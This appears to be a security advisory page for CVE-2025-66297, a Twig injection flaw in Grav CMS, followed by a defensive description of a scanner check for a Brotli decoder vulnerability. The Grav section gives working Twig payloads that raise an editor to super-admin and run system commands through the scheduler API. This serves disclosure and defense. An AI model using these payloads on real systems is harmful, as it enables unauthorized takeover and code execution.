CVE-2025-66297

EUVD-2025-200078 · Published Dec 2, 2025

Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection

Summary

A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.

Details

Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true).
A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.

This enables exploitation of Grav internal APIs such as:

grav.user.update() and grav.user.save() for escalating the current user to super admin or admin
grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution

The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.

PoC

Preconditions:

You must have access to a non-admin user with permission to create/edit pages (admin.pages access)
For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.

Steps to reproduce Privilege Escalation:

Login into the non-admin page (default at cms-url/login).
Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true).
Inject the following payload into the page content to escalate privileges:

{% set _ = grav.user.update({
    'access': {
        'admin': {
            'login': true,
            'super': true
        }
    }
}, {}) %}
{% set _ = grav.user.save() %}

Visit the edited/created page url. The logged in user is now admin. (Note: For the changes to show, you need to log out of the admin panel and relogin).

Steps to reproduce Remote Code Execution:

Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true).
Inject the following payload into the page content to execute commands:

{% set _ = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %}
{% set _ = grav.scheduler.save() %}
{% set _ = grav.scheduler.run() %}

Visit the page to trigger the execution. The system will issue a curl request.

Impact

This vulnerability allows:

Privilege Escalation from any user with page editing capabilities to full admin (super) access.
Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.

It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.

Technologies

Getgrav Grav

Weaknesses

CWE-1336

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

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Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.